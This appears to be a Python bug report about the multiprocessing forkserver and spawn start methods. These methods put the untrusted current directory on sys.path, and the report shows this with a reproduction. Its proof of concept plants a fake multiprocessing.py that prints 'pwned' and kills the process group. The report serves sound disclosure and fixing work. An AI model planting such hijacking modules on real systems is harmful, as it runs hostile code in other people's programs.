multiprocessing "forkserver"/"spawn": untrusted search path

[jwilk]

With the multiprocessing start methods forkserver and spawn, the -c option is passed to the interpreter;
but that puts the current working directory (which may be untrusted) in sys.path[0].

To reproduce:

1. Put the following test script outside of cwd:

import multiprocessing
import sys

if __name__ == '__main__':
    mp = multiprocessing.get_context(*sys.argv[1:])
    proc = mp.Process(target=print, args=['yay'])
    proc.start()
    proc.join()

2. Plant shady multiprocessing.py in cwd:

import os, signal
print('pwned')
os.kill(-os.getpgid(0), signal.SIGKILL)

3. Observe that with forkserver and spawn methods, code from the planted multiprocessing is executed:

$ python3.15 --version
Python 3.15.0rc2

$ python3.15 /path/to/test-mp.py fork
yay

$ python3.15 /path/to/test-mp.py forkserver
pwned
Killed

$ python3.15 /path/to/test-mp.py spawn
pwned
Killed

Probably the easiest way to fix this is to use -P ("Don’t automatically prepend a potentially unsafe path to sys.path").